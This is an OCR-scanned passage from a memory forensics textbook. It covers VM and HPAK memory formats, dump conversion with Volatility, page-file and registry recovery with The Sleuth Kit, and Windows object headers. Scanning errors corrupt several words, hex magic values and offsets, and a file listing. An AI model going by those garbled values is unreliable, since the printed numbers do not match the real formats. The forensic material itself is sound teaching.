Volatility over the exposed device. This also works in a networked environ-
ment that allows sampling (see Sampling RAM Across the EnCase Enterprise at
http://volatility-labs.blogspot.com/2013/10/sampling-ram-across-encase
-enterprise.html). This method also avoids the 1ibewt dependency and supports
EnCase v7 files.

Mounting with FTK Imager: Another alternative is to mount the EWF file as
“Physical & Logical” and then run Volatility against the unallocated space portion
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of the volume (for example, E: \unallocated space if the file is mounted on the
E: drive letter).

NOTE

Although the EwrFaddressspace ships with Volatility, it’s not enabled by default (due
to the dependency on 1ibewt). To enable it, use --plugins=contrib/plugins in your
command, as described in Chapter 3.

HPAK Format

Designed by HBGary, HPAK allows a target system’s physical memory and page file(s)
to embed in the same output file. This is a proprietary format, so the only tool capable of
creating an HPAK file is FastDump. Specifically, with this tool, you must use the -hpak
command-line option. Otherwise, the memory dump is created in the default format (raw),
which doesn't include the page file(s). You can optionally supply the -compress option to
compress the data with z1ib. The resulting file has an .hpak extension.

In response to several Volatility users who had unexpectedly received HPAK files for
analysis, we created an address space for handling them. Remember, if you don’t perform
the acquisition, you have to deal with what you get. Luckily the HPAK file format is rela-
tively simplistic. It has a 32-byte header, as shown next, of which the first four bytes are
#pP2K (the magic signature). The rest of the fields are currently unknown, but are incon-
sequential to performing memory analysis.

>>> dt ("HPAK_HEADER")

'"HPAK HEADER' (32 bytes)
0x0 : Magic ['String', {'length': 4}]

After the header, you will find one or more upax_secTION structures that look like this:

>>> dt ("HPAK SECTION")
'"HPAK SECTION' (224 bytes)

0x0 : Header ['String', {'length': 32}]
0x8c : Compressed ["unsigned int']

0x98 : Length ['unsigned long long']
0xa8 : Offset ["unsigned long long']
0xb0 : NextSection ['unsigned long long']
0xd4 : Name ['String', {'length': 12}]

The Header value is a string such as HPAKSECTHPAK _SECTION_PHYSDUMP for the section
containing physical memory. Likewise, it becomes HPAKSECTHPAK_SECTION_PAGEDUMP for
the section containing the target system’s page file. The offset and Length members tell
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you exactly where the corresponding data exists in the HPAK file. If compressed is non-
zero, then the section’s data is compressed with the z1ib algorithm.

As shown in the following command, you can use hpakinfo to explore the contents
of an HPAK file:

$ python vol.py -f memdump.hpak hpakinfo

Header: HPAKSECTHPAK SECTION_PHYSDUMP
Length: 0x20000000

Offset: 0x4f8

NextOffset: 0x200004f8

Name : memdump . bin

Compressed: 0

Header: HPAKSECTHPAK SECTION_ PAGEDUMP
Length: 0x30000000

Offset: 0x200009d0

NextOffset: 0x500009d0

Name : dumpfile.sys

Compressed: 0

The output tells you that this HPAK contains physical memory and one paging file.
The physical memory section starts at offset ox4£s of the memdump . hpak file and consists
of 0x20000000 bytes (512MB). Neither section is compressed. You can either run Volatility
plugins directly against memdump . hpak, or you can extract the physical memory section
to a separate file using the hpakextract plugin. By extracting it, youre left with a raw
memory dump that is compatible with nearly all analysis frameworks.

Virtual Machine Memory

To acquire memory from a VM, you can run one of the aforementioned software tools
within the guest OS (VM) or you can perform the acquisition from the hypervisor. This
section focuses on VM memory collected from the hypervisor. This technique is typically
less invasive (wWhen you perform it without pausing or suspending the VM), because it’s
harder for malicious code lurking on the VM to detect your presence. At the end of this
section, we’ll also discuss Actaeon, which allows you to perform memory forensics of
the actual hypervisor (i.e, analyzing a guest OS directly within the memory of the host).

VMware

If you're using a desktop product such as VMware Workstation, Player, or Fusion, you
just need to suspend/pause or create a snapshot of the VM. As a result, a copy of the VM’s
memory writes to a directory on the host’s file system, relative to the .vmx configuration.
If you're using VMware Server or ESX, you can do this from a vSphere GUI console or
on command-line with the scriptable vmrun command (see https: //www.vmware . com/pdf /
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vix160_vmrun_command.pdf). In a cloud environment, the memory dump will likely write
to a storage area network (SAN) or Network File System (NFS) data store.

NOTE

Be aware that pausing or suspending a VM is not without consequence. For example,
active SSL/TLS connections cannot easily resume after being “frozen.” Thus, although
you're acquiring from the hypervisor, you're still causing (limited) changes within the
VM'’s memory.

Depending on the VMware product/version and how the memory dump was created,
you might need to recover more than one file for memory analysis. In some cases, the
VM’s memory is entirely contained in a single. vmen file (the raw schema). In other cases,
instead of a . vmem, you'll get a .vmsn (snapshots) or .vmss (saved state), which are propri-
etary file formats containing memory and metadata (the combined schema). Luckily, Nir
Izraeli documented the format well enough to produce an address space for Volatility
(Seefdsiniﬁalvvorkllere:http://code.google.com/p/vmsnparser)

To slightly complicate matters, Sebastian Bourne-Richard recently noticed that VMware
products often create a .vmem and one of the structured metadata files (the split schema).
An entirely new address space needed to be written for Volatility to support this schema,
because the .vmem contains physical memory runs, but the metadata file indicates how to
piece them back together to create an accurate representation of the guest’s memory. In
other words, when acquiring memory from VMware systems, make sure to recover all
files with .vmem, .vmsn, and .vmss extensions—because it is not easy to know beforehand
which ones(s) contain the required evidence.

At offset zero of the metadata files, you will find a _vMwaRE HEADER structure that looks
like this:

>>> dt (" VMWARE HEADER")
' VMWARE HEADER' (12 bytes)

0x0 : Magic ['unsigned int']
0x8 : GroupCount ['unsigned int']
0xc : Groups ['array', lambda x : x.GroupCount, ['_ VMWARE GROUP']]

For the file to be considered valid, there’s a Magic value that must be oxbed2bedo,
0xbadlbadl, Oxbed2bed2, Or 0xbed3bed3. The Groups member specifies an array of
_VMWARE_GROUP structures that look like this:

>>> dt (" _VMWARE GROUP")

' VMWARE_GROUP' (80 bytes)

0x0 : Name ['String', {'length': 64, 'encoding': 'utf8'}]

0x40 : TagsOffset ['unsigned long long']
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Each group has a Name that allows the metadata components to be categorized and a
TagsOffset that specifies where you can find a list of _vMARE Tac structures. A tag looks
like this:

>>> dt ("_VMWARE TAG")
' VMWARE TAG' (None bytes)

0x0 : Flags ['unsigned char']
0x1 : NameLength ['unsigned char']
0x2 : Name ['String',

{'length': lambda x : x.NameLength, 'encoding': 'utf8'}]

These tag structures are the key to finding the physical memory data within the meta-
data file. If the VM has less than 4GB of RAM, a single physical memory run is stored
in a group named “memory” and a tag named “Memory.” For systems with more than
4GB of RAM, there are multiple runs, also in a group named “memory,” but including

” i

tags named “Memory,” “regionPPN,” “regionPageNum,” and “regionSize.” The address
space within Volatility (see volatility/plugins/addrspaces/vmware.py) parses these tags

in order to rebuild the view of physical memory.

VirtualBox

VirtualBox does not automatically save a full RAM dump to disk when you suspend or
pause a virtual machine (as other virtualization products do). Instead, you must create a
memory dump using one of the following techniques:

The vboxmanage debugvmcommands. This method creates an ELF64 core dump binary
with custom sections that represent the guest’s physical memory. For more infor-
mation, see: http://www.virtualbox.org/manual/ch08.html#vboxmanage-debugvm.
Use the - -dbg switch when starting a VM and then the . pgmphystofile command.
This method outputs a raw memory dump. For more information, see https://
www.virtualbox.org/ticket/10222.

Use the VirtualBox Python API (vboxapi) to create your own memory dumping
utility. A user also attached a Python script named vboxdump . py to the aforemen-
tioned ticket #10222 showing an example.

The second and third methods produce raw memory dumps, which are natively sup-
ported by Volatility. However, the first method generates an ELF64 core dump, which
requires special support. Philippe Teuwen (see http://wiki.yobi.be/wiki/RAM_analysis)
performed the initial research into this file format and created a Volatility address space
that supported them. As a result, Cuckoo Sandbox was able to integrate the ability to save
memory dumps from VirtualBox VMs in ELF64 core dump format.
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The ELF64 files have several custom program header segments. One of them is a
PT_NOTE (elf64_note) whose name is vBCcorRE. The note segment contains a
DBGFCOREDESCRIPTOR structure, which is shown in the following code:

>>> dt ("DBGFCOREDESCRIPTOR")
'DBGFCOREDESCRIPTOR' (24 bytes)

0x0 : u32Magic ["unsigned int']
0x4 : U32FmtVersion ["unsigned int']
0x8 : cbSelf ["unsigned int']
0xc : u32VBoxVersion ['unsigned int']
0x10 : u32VBoxRevision ['unsigned int']
0x14 : cCpus ["unsigned int']

This structure contains the VirtualBox magic signature (0xco1acode), the version infor-
mation, and number of CPUs for the target system. If you continue to iterate through the
file’s program headers, you'll find various pT_roaAD segments (e1£64_phdr). Each segment’s
p_paddr member is a starting physical memory address. The p_offset member tells you
where in the ELF64 file you can find the chunk of physical memory. Finally, the p_mems:z
tells you how big the chunk of memory is (in bytes).

NOTE

For more information on the VirtualBox ELF64 core dump format, see the following
web pages:

ELF64 core dump format: http://www.virtualbox.org/manual/chl2
.html#fguestcoreformat

VirtualBox source code header file: http://www.virtualbox.org/svn/vbox/
trunk/include/VBox/vmm/dbgfcorefmt.h

C source code that creates the ELF64 core dump files: http://www.virtualbox
.org/svn/vbox/trunk/src/VBox/VMM/VMMR3 /DBGFCoreWrite . cpp

QEMU

QEMU is very similar to VirtualBox in that it saves VM memory in the ELF64 core dump
format. In fact, the only major difference is that the pT_noTE name is core rather than
VBCORE. You can create these dumps by using virsh, a command-line interface to libvirt
(http://libvirt.org/index.html). There’s also a Python API, which Cuckoo Sandbox
(http://www.cuckoosandbox.org/) currently uses to create memory dumps of infected
QEMU VM.
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Xen/KYM

The LibVMI project (https://github.com/bdpayne/libvmi) is a VM introspection library
that supports the Xen and KVM hypervisors. In other words, you can perform real-time
analysis of running VMs without executing any code inside the VM. This is a powerful
capability for live antivirus and rootkit scanning, as well as general system monitoring.
As an added bonus, the project includes a Python API (pyvmi) and a Volatility address
space (PyvmiAddresssSpace) for analyzing the memory.

Microsoft Hyper-V

To acquire memory from Hyper-V VMs, you first need to save the VM’s state or create a
snapshot. Then recover the .bin (physical memory chunks) and .vsv (metadata) files from
the VM configuration directory. Unfortunately, Volatility does not currently support the
Hyper-V memory format, so you need to use the vm2dmp . exe utility (http://archive.msdn
.microsoft.com/vm2dmp) to convert the .bin and .vsv files into a Windows crash dump.
You can then analyze the crash dump with WinDBG or Volatility. For more information on
this process, see Analyzing Hyper-V Saved State Files in Volatility by Wyatt Roersma (http://
www . wyat troersma.com/?p=77). One of Wyatt’s major observations is that vm2dmp . exe fails
on any VM with more than 4GB of RAM.

NOTE

You can also acquire memory from a running Hyper-V VM using Sysinter-
nals LiveKD or MoonSols LiveCloudKd (http://moonsols.com/2010/08/12/
livecloudkd).

Hypervisor Memory Forensics

One of the most fascinating developments in VM memory forensics is Actaeon (http://
www.s3.eurecom. fr/ tools/actaeon) by Mariano Graziano, Andrea Lanzi, and Davide
Balzarotti. Given a physical memory dump of a host system, this tool enables analysis of
guest OSs in virtualization environments using Intel VI-x technology. This includes the
ability to locate memory resident hypervisors (benign or malicious) and nested virtual-
ization. Its current implementation allows VM introspection of 32-bit Windows guests
running under KVM, Xen, VMware Workstation, VirtualBox, and HyperDbg. Actaeon
is implemented as a patch to Volatility and it won first place in the 2013 Volatility Plugin
Contest (http://volatility-labs.blogspot.com/2013/08/results-are-in-for-1st-

annual. html).
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Converting Memory Dumps

With the exception of Volatility, most memory analysis frameworks only support one or
two of the file formats covered in the previous section. If you receive a memory dump
in a format that’s not compatible with your desired analysis tool, you should consider
converting it. As previously mentioned, the raw format is the most widely supported,
so that often becomes the destination format during the conversion. Here’s a list of tools
that can help you with these tasks:

MoonSols Windows Memory Toolkit (MWMT): This toolkit provides utilities
to convert hibernation files and crash dumps into raw format. It also can convert
hibernation files and raw files into crash dumps.

VMware vimss2core: The vmss2core . exe utility (https ://labs.vmware.com/flings/
vmss2core) can convert VMware saved state (.vmsn) or snapshot (.vmsn) files into
crash dumps compatible with the Microsoft WinDBG or gdb.

Microsoft vim2dmp: As previously described, this tool can convert select Microsoft
Hyper-V memory files into crash dumps (depending on the size of the memory
and version of Hyper-V server).

Volatility imagecopy: The imagecopy plugin can copy out a raw memory dump
from any of the following file formats: crash dump, hibernation file, VMware,
VirtualBox, QEMU, Firewire, Mach-o, LIME, and EWF.

Volatility raw2dmp: The raw2dmp plugin can convert a raw memory dump into a
Windows crash dump for analysis with Microsoft’s WinDBG debugger.

Given the available choices, you should be well equipped to convert to or from any of
the file formats you might encounter. Also, keep in mind it might be necessary to perform
a two-step conversion to reach your end goal. For example, if you receive a hibernation
file and need to analyze it in WinDBG (which accepts only crash dumps), then you can
convert it to a raw format first and then from raw into a crash dump.

The following commands show how to use the Volatility imagecopy and raw2dmp
plugins. They both take an -o/--output-image option that specifies the path to the des-
tination file. To convert a crash dump (or any other format) into a raw memory sample,
use the following;:

$ python vol.py -f win7x64.dmp --profile=Win7SP0x64 imagecopy -O copy.raw

Volatility Foundation Volatility Framework 2.4
Writing data (5.00 MB chunks): |........ [snipl ..o |

To convert a raw memory sample into a crash dump:

$ python vol.py -f memory.raw --profile=Win8SP0x64 raw2dmp -O win8.dmp
Volatility Foundation Volatility Framework 2.4
Writing data (5.00 MB chunks): |........ [snipl e v |
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The amount of time it takes for conversion depends on the size of your source memory
dump. You should see an indication of the progress printed on the terminal for each 5SMB
chunk written to the output file.

Volatile Memory on Disk

Volatile data is often written to non-volatile storage as a matter of normal system opera-
tion, such as during hibernation and paging. It’s important to be aware of these alternate
sources of volatile memory, because in some cases it might be your only source (for
example, if a suspect’s laptop is not running when it’s seized). In fact, even if its running
and you can acquire memory from the live system, you might want to recover these alter-
nate sources of volatile data. They might provide valuable evidence of what happened on
the system during other time periods or pages of memory that were paged to secondary
storage, which you can use to correlate with current activity.

The following scenario covers the technical aspects of where to locate volatile evidence
on disk and how to extract it. Forensic imaging (duplication) of hard disks is beyond
the scope of this book, as are the steps for maintaining proper chain of custody for the
evidence. Thus, we assume that you've taken care to research and abide by the laws in
your jurisdiction, if applicable to your investigation. Also, although there are various
commercial GUI products such as EnCase and FTK that provide point-and-click methods
of extracting files, we focus on using The Sleuth Kit (http://www.sleuthkit.org) because
it’s open-source and available to everyone.

Recovering the Hibernation File

If available, a system’s hibernation file will exist at \hiberfil.sys in the root directory
of the c: partition. Assuming that you have a raw image of the disk (image.dd in the
example), you first need to identify the starting sector of the NTFS partition. To do this,
you can use mmls in the following manner:

$ mmls image.dd

DOS Partition Table

Offset Sector: 0
Units are in 512-byte sectors

Slot Start End Length Description
00: Meta 0000000000 0000000000 0000000001 Primary Table (#0)
01: ----- 0000000000 0000002047 0000002048 Unallocated

02: 00:00 0000002048 0031455231 0031453184 NTFS (0x07)
03: ----- 0031455232 0031457279 00000020438 Unallocated
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As shown, the starting sector offset is 2048. You'll provide this value as the -o param-
eter to other The Sleuth Kit (TSK) utilities, such as £1s. Remember, different disks will
have different offsets, so 2048 is just the value for our example case. In the following
command, you can see how to filter the output from a file listing on the root directory
of the NTFS partition.

$ fls -o 2048 image.dd | grep hiber
r/r 36218-128-1: hiberfil.sys

The inode, or MFT number in this case, is 36218. Now all you need to do is supply the
sector offset and the inode to the icat command in order to extract the file’s contents.
Before doing so, make sure the destination media has enough free space to accommodate
the hibernation file. The following command shows how to perform the extraction:

$ icat -o 2048 image.dd 36218 > /media/external/hiberfil.sys

$ file /media/external/hiberfil.sys
/media/external/hiberfil.sys: data

Now that you have recovered the hibernation file, you can begin to analyze it with
Volatility. There is one caveat that we’ll explore next, regarding the ability to identify the
proper profile.

Querying the Registry for a Profile

Often, you will receive evidence, such as a hard disk, without any details about the target
system. For example, was it running 32-bit Windows 7 or 64-bit Windows Server 2012?
You'll need this information to select the proper Volatility profile. In many cases, you can
simply run the kdbgscan plugin, but remember the debugger data block is nonessential
and can be manipulated by attackers (see Chapter 3). If that happens, you'll need a backup
method for determining the system’s profile. In this case, you have access to the hard
disk, which contains the registry hives, so you can leverage them to your advantage. The
following commands show you how to extract the sysTem and sorFTware hives and then
verify that you've recovered valid Microsoft Windows registry files.

$ fls -o 2048 -rp image.dd | grep -i config/system$
r/r 58832-128-3: Windows/System32/config/SYSTEM

$ fls -o 2048 -rp image.dd | grep -i config/software$
r/r 58830-128-3: Windows/System32/config/SOFTWARE

$ icat -o 2048 image.dd 58832 > /media/external/system
$ icat -o 2048 image.dd 58830 > /media/external/software

$ file /media/external/system /media/external/software
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system: MS Windows registry file, NT/2000 or above
software: MS Windows registry file, NT/2000 or above

After you dump the appropriate hive files, you can analyze them with an offline reg-
istry parser. In this case, we use reglookup (an open-source tool from: http://projects
.sentinelchicken.org/reglookup). In particular, you can look for the productName value in
the sorTwaRrE hive and the PROCESSOR ARCHITECTURE value in the sysTem hive, as shown here:

$ reglookup -p "Microsoft/Windows NT/CurrentVersion"

/media/external/software | grep ProductName
/Microsoft/Windows NT/CurrentVersion/ProductName,SZ,Windows 7 Professional,

$ reglookup
-p "ControlSet001/Control/Session Manager/Environment/PROCESSOR ARCHITECTURE"
/media/external/system
/ControlSet001/Control/ [snip] /PROCESSOR ARCHITECTURE, SZ,AMD64,

In the output, the target system was running Windows 7 Professional on an AMD64
processor. Thus, the profile would be Win7SP0x64 or Win7SP1x64. You could further
distinguish between the service packs by querying the cspversion value in the registry.

Recovering the Page File(s)

We often ask students in our training class a trick question: If we asked you to recover the
page file, where would you look? Almost everyone responds with c:\pagefile.sys. Although
this answer is not technically incorrect, it’s also not thorough because a Windows system
can have up to 16 page files. Thus, you should always determine how many page files
you have and where they’re located before attempting to acquire them. You can do this
by querying the sysTemM registry, as shown here:

$ reglookup -p "ControlSet00l/Control/Session Manager/Memory Management"

-t MULTI_SZ /media/external/system

PATH, TYPE, VALUE, MTIME

/ControlSet001/Control/Session Manager/Memory

Management /PagingFiles,MULTI_SZ,\??\C:\pagefile.sys,

/ControlSet001/Control/Session Manager/Memory

Management /ExistingPageFiles,MULTI_SZ,\??\C:\pagefile.sys,

The target system has only one page file so c:\pagfile.sys happened to be the right
answer in this case. The file path is shown twice, because there are two values: pagingFiles
(available for use) and ExistingPageFiles (currently in use). If a system has more than
one, you'll see the full list of path names. Recovering the page file(s) from the disk image
can be done like this:

$ fls -o 2048 image.dd | grep pagefile
r/r 58981-128-1: pagefile.sys

$ icat -o 2048 image.dd 58981 > /media/external/pagefile.sys
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Now that you've isolated the page file(s) from the disk image, you can move on to the
analysis phases.

WARNING

Within the same key in the sysTem hive that we query for the page files, there is a
ClearPageFileAtShutdown value. We've seen malware setting this pworp value to 1
as an anti-forensics technique, because it results in the page file being cleared when
the system powers down. In this case, you might still be able to recover some volatile
evidence from disk by carving freed/de-allocated blocks with TSK or another disk
forensics suite.

Also, starting with Windows 8.1, there’s a value named savePageFileContents under
CurrentControlSet\Control\CrashControl that specifies if Windows should preserve
the contents of the page file during reboots.

Analyzing the Page File(s)

If you recall from earlier in the chapter, some software tools that run on live systems can
collect page files(s) at the time of acquisition. Whether you've used one of those tools or
extracted the file(s) from a disk image, the options for an in-depth analysis of page file
contents are relatively limited. Remember that a page file is just an unordered set of puzzle
pieces—without page tables to provide the necessary context, you can’t determine how
they fit into the larger picture. Acquisition and Analysis of Windows Memory by Nicholas Paul
Maclean (http://www.4tphi.net/fatkit/papers/NickMaclean2006.pdf) initially described
the possibility of supplementing raw memory dump analysis with data from the page
file(s) to provide a more complete view of physical memory. However, for the most part,
the practical implementations of this technique have been unverified or inaccessible.

HBGary Responder’s documentation states that it supports page file analysis. Also,
WinDBG advertises support page file integration (see http://msdn.microsoft.com/en-us/
library/windows/hardware/dn265151%28v=vs.85%29.aspx). Specifically, according to the
documentation, you should be able to create a CAB file that contains a memory dump and
page file(s) and analyze it with the debugger. However, a discussion on the OSR mailing list
indicates that the claim is largely false (or simply outdated) (http://www.osronline.com/
showthread.cfm?1ink=234512).

Although page file analysis is on our roadmap, at the time of this writing, you can-
not perform such an analysis with Volatility. Thus, your best investigative options cur-
rently are those that do not involve context or structured analysis of the data—such as
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strings, antivirus scans, or Yara signatures. In fact, Michael Matonis created a tool called
page_brute (See https://github.com/matonis/page brute) that analyzes page files by Split—
ting them into page-sized chunks and scanning each chunk with Yara rules. The default
set of Yara rules distributed with the tool can discover HTTP requests and responses,
SMTP message headers, FTP commands, and so on. As always, you can add to the default
rules or create your own rule sets to customize the scans.

Let’s assume that you're investigating the machine of a suspect who is accused of buy-
ing and selling controlled substances online. The suspect’s browser was configured not
to cache content to disk and not to maintain a history file. Furthermore, the computer
system was not running at the time of seizure, so all you have is a forensic disk image. By
locating and extracting the page file(s), you hope to find some evidence of the suspect’s
involvement in the alleged crime. You build the following Yara rule to assist your search:

rule drugs

{

strings:

$s0 = "silk road" nocase ascii wide
$sl = "silkroad" nocase ascii wide
$s2 = "marijuana" nocase ascii wide
$s3 = "bitcoin" nocase ascii wide
$s4 = "mdma" nocase ascii wide
condition:

any of them

}

The rule named drugs will trigger on any page in the page file that contains one of the
listed strings. The following command shows how to execute the scan:

$ python page brute-BETA.py -r drugs.yar -f /media/external/pagefile.sys
[+] - YARA rule of File type provided for compilation: drugs.yar
..... Ruleset Compilation Successful.
[+] - PAGE_BRUTE running with the following options:
[-] - PAGE SIZE: 4096
RULES TYPE: FILE
- RULE LOCATION: drugs.yar
- INVERSION SCAN: False
- WORKING DIR: PAGE_BRUTE-2014-03-24-12-49-57-RESULTS

[!] FLAGGED BLOCK 58641: drugs
[!] FLAGGED BLOCK 58642: drugs
[!] FLAGGED BLOCK 58643: drugs
[!'] FLAGGED BLOCK 58646: drugs
[!] FLAGGED BLOCK 58652: drugs

111
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'] FLAGGED BLOCK 58663: drugs

!l FLAGGED BLOCK 58670: drugs
FLAGGED BLOCK 58684 : drugs
!

[
[
[
[!] FLAGGED BLOCK 58685: drugs
[
[
[
[

'] FLAGGED BLOCK 58686: drugs
!l FLAGGED BLOCK 58687: drugs

FLAGGED BLOCK 58688: drugs
!'] FLAGGED BLOCK 58689: drugs
[snip]

The number following the FLAGGED BLOCK message is the index of the respective page
in the page file. Each page that matches a signature extracts in the working directory
(PAGE_BRUTE-2014-03-24-12-49-57-RESULTS) named according to the index. You can then
individually analyze the extracted blocks or, for a quick initial look at the data, just run
strings against the entire directory, like this:

S cd PAGEiBRUTE-2014-03-24-12-49—57-RESULTS/drugS
$ strings * | less

https://bitcoin.org/font/ubuntu-bi-webfont.ttf

chrome: //browser/content /urlbarBindings .xml#promobox
https://coinmkt.com/js/libs/autoNumeric.js?v=0.0.0.8

Bitcoin

Getting

https://bitcoin.org/font/ubuntu-ri-webfont.svg
https://bitcoin.org/font/ubuntu-ri-webfont.woff

wallet

Z N

http://howtobuybitcoins.info/img/miniflags/us.png
http://silkroaddrugs.org/silkroad-drugs-complete-step-by-step-guide/#c-3207
Location:

you want to also check out Silk Roads biggest competitor the click
silkroadéownowfk.onion/categories/drugs-ecstasy/items
http://silkroaddrugs.org/silkroad-drugs-complete-step-by-step-guide/#c-2587

[snip]

Despite the suspect’s attempt to minimize artifacts of his browsing history, you could
still find evidence of the activity by examining the page file. The point is that it is much
more difficult to hide or erase artifacts in memory as opposed to those on disk, especially
when the OS transparently writes parts of the memory to disk during routine operations
such as paging.
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Users running Windows 7 or later can optionally encrypt the system paging files with
the Encrypting File System (EFS). Although it’s disabled by default, you can type
fsutil behavior query EncryptPagingFile at an administrator command prompt to

see the current status.

On Linux, swap is actually a partition rather than a file (you can list the location with

cat/proc/swaps Or by looking in /etc/fstab). However, you'll need a disk image to

access the content. For Mac OS X, the swap is encrypted by default since 10.7. You can

list the files in the /var/vm directory or query the status with the sysctl command, as

shown here:
$ 1s -al /var/vm/*
WL T 1 root
Wl EEELE 1 root
“rW------- 1 root
SfEj====s=o 1 root

wheel
wheel
wheel
wheel

$ sysctl vm.swapusage
= 2048.00M wused = 1061.00M

vm.swapusage: total

Crash Dump Files

2147483648 Mar 2 11:

67108864 Apr 9 09:
1073741824 Apr 28 22:
1073741824 Apr 28 22:

24 /var/vm/sleepimage

24 /var/vm/swapfileO

28 /var/vm/swapfilel

28 /var/vm/swapfile2

free

987.00M

(encrypted)

Many systems are configured to write crash dumps to disk upon a BSOD. Thus, you might

want to check for files created during previous crashes that might not have been deleted.

By default, they're saved to $SystemRoot %\MEMORY . DMP; however, you can change the path

by editing the currentcontrolset\Control\CrashControl key within the sysTeM registry
hive. While you're at it, also check the Windows Error Reporting (Dr. Watson) paths in the
Software\Microsoft\Windows\Windows Error Reporting key of both HKEY CURRENT USER

and HKEY LOCAL MACHINE. You'e likely to only find user-mode (rather than complete) memory

dumps there, but they can still be a valuable source of volatile data during periods of

system instability.

NOTE

Keep in mind that if the target system has Volume Shadow Copy Service (VSS) enabled,

that these alternate sources of volatile evidence might also be available and contain

data from previous time periods.



114 Partl: Anintroduction to Memory Forensics

Summary

Acquiring physical memory accurately takes proper planning, robust tools, and adher-
ence to best practices. Carefully consider your options based on the environment and
specifics of each job before choosing a technique or software suite, because your analysis
capabilities rely on successful acquisition. Also remember that memory evidence is often
found on non-volatile media and it comes in various “shapes and sizes,” so to speak. Be
aware of the different formats, how to convert between the formats (if needed), and the
challenges that each type of memory sample presents.
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Windows Objects and
Pool Allocations

All the artifacts that you find in memory dumps share a common origin: They all
start out as an allocation. How, when, and why the memory regions were allocated
sets them apart, in addition to the actual data stored within and around them. From a
memory forensics perspective, studying these characteristics can help you make infer-
ences about the content of an allocation, leading to your ability to find and label specific
types of data throughout a large memory dump. Furthermore, becoming familiar with
the operating system’s algorithms for allocation and de-allocation of memory can help
you understand the context of data when you find it—for example, whether it is currently
in use or marked as free.

This chapter introduces you to the concepts of Windows executive objects, kernel pool
allocations, and pool tag scanning. Specifically, you will use this knowledge to find objects
(such as processes, files, and drivers) by using a method that is independent of how the
operating system enumerates the objects. Thus, you can defeat rootkits that try to hide
by manipulating the operating system’s internal data structures. Furthermore, you can
identify objects that were used but have since been discarded (but not overwritten), giv-
ing you valuable insight into events that occurred in the past.

Windows Executive Objects

A great deal of memory forensics involves finding and analyzing executive objects. In
Chapter 2, you learned that Windows is written in C and makes heavy use of C structures
to organize related data and attributes. Several of these structures are called executive
objects because they are managed (created, protected, deleted, etc.) by the Windows Object
Manager—a component of the kernel implemented by the NT module.

A structure technically becomes an executive object when the operating system pre-
pends various headers to it in order to manage services such as naming, access control,
and reference counts. Thus, by this definition, all executive objects are structures, but not
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all structures are executive objects. Distinguishing between the two is critical because as
a result of being allocated by the Object Manager, all executive objects will have similar
characteristics. For example, all executive objects will have the aforementioned headers,
whereas structures allocated by other subsystems such as the TCP/IP stack (tcpip.sys)
will not have such headers.

The most forensically relevant executive object types are described in Table 5-1, along
with their corresponding structure names. You will become familiar with these object
types throughout the course of the book, so just consider this a brief initial introduction.
In fact, there is at least one Volatility plugin that analyzes each of the objects listed in
the table.

Table 5-1: Forensically Relevant Windows Objects

Object Name Structure Description

File _FILE OBJECT An instance of an open file that represents a
process or kernel module’s access into afile,
including the permissions, regions of memory
that store portions of the file’s contents, and
the file's name.

Process _EPROCESS A container that allows threads to execute
within a private virtual address space and
maintains open handles to resources such as
files, registry keys, etc.

SymbolicLink _OBJECT SYMBOLIC_ LINK Created to support aliases that can help map
network share paths and removable media
devices to drive letters.

Token _TOKEN Stores security context information (such as
security identifiers [SIDs] and privileges) for
processes and threads.

Thread _ETHREAD An object that represents a scheduled execu-
tion entity within a process and its associated
CPU context.

Mutant _KMUTANT An object that represents mutual exclusion
and is typically used for synchronization
purposes or to control access to particular

resources.

WindowsStation tagWINDOWSTATION A security boundary for processes and desk-
tops, which also contains a clipboard and atom
tables.

Desktop tagDESKTOP An object that represents the displayable

screen surface and contains user objects such
as windows, menus, and buttons.
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Object Name Structure Description

Driver _DRIVER_OBJECT Represents the image of a loaded kernel-mode
driver and contains addresses of the driver’s
input/output control handler functions.

Key _CM_KEY BODY An instance of an open registry key that con-
tains information about the key’s values and
data.

Type _OBJECT _TYPE An object with metadata that describes the

common properties of all other objects.

NOTE

The executive object types differ across versions of Windows because new objects are
often required to support new features, and old ones become deprecated. To see a full
list of object types for a given version of Windows by using a graphical user interface
(GUI) tool, you can use winobj from SysInternals (http://technet.microsoft.com/
en-us/sysinternals/bb896657.aspx). Later in the chapter, you will learn how to do it
programmatically using Volatility.

Object Headers

One of the common traits shared between all executive object types is the presence of
an object header ( _oBJECT HEADER) and zero or more optional headers. The object header
immediately precedes the executive object structure in memory. Likewise, any optional
headers that exist precede the object header in a fixed order. This leads to a predictable
memory layout, as shown in Figure 5-1. Thus, finding the structure (i.e, FILE_OBJECT in
the figure) given the address of its _oBJECT HEADER, or vice versa, is simple because the
two are always directly adjacent; and the size of _0BJECT_HEADER is consistent per operat-
ing system.

Your ability to determine which optional headers are present (and if so, their respective
offsets from the start of the object header) relies on the Infomask member of the object
header. Before moving into that discussion, take a look at the full structure for an object
header on 64-bit Windows 7.

>>> dt ("_OBJECT HEADER")
'_OBJECT HEADER' (56 bytes)

0x0 : PointerCount ["long long']

0x8 : HandleCount ["long long']

0x8 : NextToFree ['pointer64', ['void']]
[

0x10 : Lock ' EX_PUSH LOCK']
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0x18 : TypelIndex ["unsigned char']
0x19 : TraceFlags ["unsigned char']
Oxla : InfoMask ["unsigned char']
0x1lb : Flags ['unsigned char']
0x20 : ObjectCreateInfo ['pointer64', [' OBJECT CREATE_ INFORMATION']]
0x20 : QuotaBlockCharged ['pointer64', ['void']]
0x28 : SecurityDescriptor ['pointer64', ['void']]
0x30 : Body [' QUAD']
_OBJECT_HEADER_PROCESS_INFO
_OBJECT_HEADER_QUOTA _INFO
Optional headers } _OBJECT_HEADER_HANDLE_INFO
_OBJECT_HEADER_NAME_INFO
_OBJECT_HEADER_CREATOR_INFO
Reference Counts,
Security Descriptor, _OBJECT_HEADER 0x30 Bytes
Object Type, Flags y
Object Body Object size varies
(e.g. _FILE_OBJECT) per structure

Figure 5-1: Executive objects and their headers on 64-bit Windows

Key Points

Note the following key points:

Pointercount: Contains the total number of pointers to the object, including kernel-

mode references.

Handlecount: Contains the number of open handles to the object.

TypeIndex: This value tells you what type of object you're dealing with (e.g., pro-

cess, thread, file).

InfoMask: This value tells you which of the optional headers, if any, are present.

SecurityDescriptor: Stores information on the security restrictions for the object,

such as which users can access it for reading, writing, deleting, and so on.

Body: This member is just a placeholder that represents the start of the structure

contained within the object.
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Optional Headers

An object’s optional headers contain various types of metadata that help describe the
object. Obviously, because theyre optional, not all types of objects will have them; and
even different instances of the same object type may have different combinations of
optional headers. For example, the kernel does not track quota (resource usage) stats for
the 1dle or system processes, so those two _EPROCESS objects will not have _0BJECT HEADER
